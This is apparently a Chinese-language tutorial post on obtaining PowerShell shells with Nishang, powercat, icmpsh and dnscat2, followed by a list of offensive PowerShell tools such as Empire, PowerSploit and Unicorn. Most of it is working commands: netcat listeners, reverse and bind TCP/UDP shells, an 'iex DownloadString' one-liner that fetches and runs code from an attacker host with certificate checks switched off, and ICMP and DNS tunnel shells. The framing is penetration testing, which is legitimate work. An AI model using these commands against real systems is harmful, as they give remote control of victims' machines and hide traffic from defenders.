Week of PowerShell Shells

简介

Nishang是基于PowerShell的渗透测试专用工具。集成了框架、脚本和各种payload。本篇主要介绍nishang中的各种shell。主要针对预装有powershell的系统

TCP Shell

Reverse Shell

Server

1
2
root@kali:~# nc -lvp 4444
listening on [any] 4444 ..

Client

192.168.52.129 为Server的IP地址

1
2
PS F:\Shells> . .\Invoke-PowerShellTcp.ps1
PS F:\Shells> Invoke-PowerShellTcp -Reverse -IPAddress 192.168.52.129 -Port 4444

Bind Shell

Client

1
2
PS F:\Shells> . .\Invoke-PowerShellTcp.ps1
PS F:\Shells> Invoke-PowerShellTcp -Bind -Port 8888

Server

192.168.52.1 为Client的IP地址

1
2
PS F:\Shells> . .\powercat.ps1
PS F:\Shells> powercat -c 192.168.52.1 -v -p 8888

UDP Shell

Reverse Shell

Server

1
2
root@kali:~# nc -lvup 53
listening on [any] 53 ...

Client

1
2
PS F:\Shells> . .\Invoke-PowerShellUdp.ps1
PS F:\Shells> Invoke-PowerShellUdp -Reverse -IPAddress 192.168.52.129 -Port 53

Bind Shell

Client

1
2
PS F:\Shells> . .\Invoke-PowerShellUdp.ps1
PS F:\Shells> Invoke-PowerShellUdp -Bind -Port 7777

Server

1
root@kali:~# nc -vtu 192.168.52.1 7777

HTTP/HTTPS Shell

HTTP

Server

1
2
PS F:\Shells> . .\Invoke-PoshRatHttp.ps1
PS F:\Shells> Invoke-PoshRatHttp -IPAddress 192.168.52.1 -Port 80

Client

1
PS C:\Users\evi1cg> iex (New-Object Net.WebClient).DownloadString("http://192.168.52.1/connect")

HTTPS

Server

1
2
3
4
PS F:\Shells> . .\Invoke-PoshRatHttps.ps1
PS F:\Shells> Invoke-PoshRatHttps -IPAddress 192.168.52.1 -Port 8443
Listening on 8443
6D559E5925FBCC8BE5FB3257F503CB8A6C5791A7

Client

1
PS C:\Users\evi1cg> [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};iex (New-Object Net.WebClient).DownloadString("https://192.168.52.1:8443/connect")

ICMP Shell

这里需要一个脚本icmpsh

Server

python icmpsh_m.py (Attacker’s IP) (Victims IP)

1
2
3
icmpsh [master] sysctl -w net.ipv4.icmp_echo_ignore_all=1 #忽略所有icmp包或者ping
net.ipv4.icmp_echo_ignore_all = 1
icmpsh [master] python icmpsh_m.py 192.168.52.131 192.168.52.1

Client

1
2
PS F:\Shells> . .\Invoke-PowerShellIcmp.ps1
PS F:\Shells> Invoke-PowerShellIcmp -IPAddress 192.168.52.131

DNS Shell

此次示例需要dnscat2以及powercat
安装完dnscat2后。

Server

1
ruby dnscat2.rb shellcome.com

Client

1
2
PS F:\Shells> . .\powercat.ps1
PS F:\Shells> powercat -c 192.168.52.131 -v -dns shellcome.com -ep

MORE

powershell 工具整理

UnmanagedPowerShell :https://github.com/leechristensen/UnmanagedPowerShell

可以从一个非托管程序来执行PowerShell , 经过一些修改后也可以被用来注入到其他进程。

Throwback:https://github.com/silentbreaksec/Throwback

HTTP/S 标记注入

ThrowbackLP:https://github.com/silentbreaksec/ThrowbackLP

监听站反向注入

CrackMapExec:https://github.com/byt3bl33d3r/CrackMapExec

Windows/Active Directory环境下的一站式渗透测试

PowerShellMafia:https://github.com/PowerShellMafia/PowerSploit

PowerSploit 是Microsoft中能够帮助渗透人员在所有阶段进行评估的PowerShell模块集。

nishang:https://github.com/samratashok/nishang

Nishang是基于PowerShell的渗透测试专用工具。集成了框架、脚本和各种payload。这些脚本是由Nishang的作者在真实渗透测试过程中有感而发编写的,具有实战价值。包括了下载和执行、键盘记录、dns、延时命令等脚本。(Freebuf的相关帖子:http://www.freebuf.com/tools/10443.html)

ReflectiveDLLInjection :https://github.com/stephenfewer/ReflectiveDLLInjection

反射型 DLL 注入 是一种库注入技术,主要被用来执行一个库从内存到主机进程的加载。因此这个库应能够通过实现最小的PE文件加载器来加载自身,以最小的主机系统与进程间的相互作用来进行管理。

PSRecon :https://github.com/gfoss/PSRecon

PSRecon会使用PowerShell(V2或更高版本)从远程的windows主机收集数据,然后将数据放入文件夹中,对全部提取数据、PowerShell、各种系统性能进行哈希,最后将数据发送给安全团队。该数据可以共享,发送邮件或者局部保留。

powershell:https://github.com/clymb3r/PowerShell

该工具是PowerSploit目录的一部分

powershell:https://github.com/MikeFal/PowerShell

用SQL Server数据库进行管理,包含完成的以及正在进行的PowerShell脚本。

PowerShellArsenal:https://github.com/mattifestation/PowerShellArsenal

用于逆向工程的PowerShell模块,可进行反汇编托管以及非托管的代码、进行.NET恶意软件分析、分析内存、解析文件格式和内存结构、获得内部系统信息等。

PowerShell-AD-Recon:https://github.com/PyroTek3/PowerShell-AD-Recon

一个有用的PowerShell脚本

PowerCat :https://github.com/secabstraction/PowerCat

PowerShell的TCP/ IP瑞士军刀,适用于Netcat & Ncat.

Unicorn:https://github.com/trustedsec/unicorn

Unicorn 是一个用于PowerShell降级攻击和直接注入shellcode到内存中的简单工具。

Posh-SecMod:https://github.com/darkoperator/Posh-SecMod

用Security cmdlets来进行安全工作的PowerShell模块

PowerShell API 手册 :http://www.pinvoke.net/

PInvoke.net主要是一个wiki,允许开发者找到,编辑和添加PInvoke的*签名、用户定义类型、以及与调用Win32和其他非托管API的托管代码相关的任何其他信息。

PowerTools工具 :http://https//github.com/PowerShellEmpire/PowerTools

Empire :https://github.com/powershellempire/empire

PowerShell后期漏洞利用代理工具(详见:http://www.freebuf.com/articles/web/76892.html)

Honeyport :https://github.com/Pwdrkeg/honeyport

一个用于创建Windows honeyport的PowerShell脚本

PowerMemory :https://github.com/giMini/PowerMemory

可利用文件和内存中当前的一些证书

网络相关

icmpsh https://github.com/inquisb/icmpsh
powercat https://github.com/besimorhino/powercat
dnscat2 https://github.com/iagox86/dnscat2

```

参考资料

[1] Week of PowerShell Shells - Day 1 - TCP Shell
[2] 一周PowerShell脚本
[3] nishang - github
[4] Nikhil SamratAshok Mittal - blog
[5] nishang之花样shell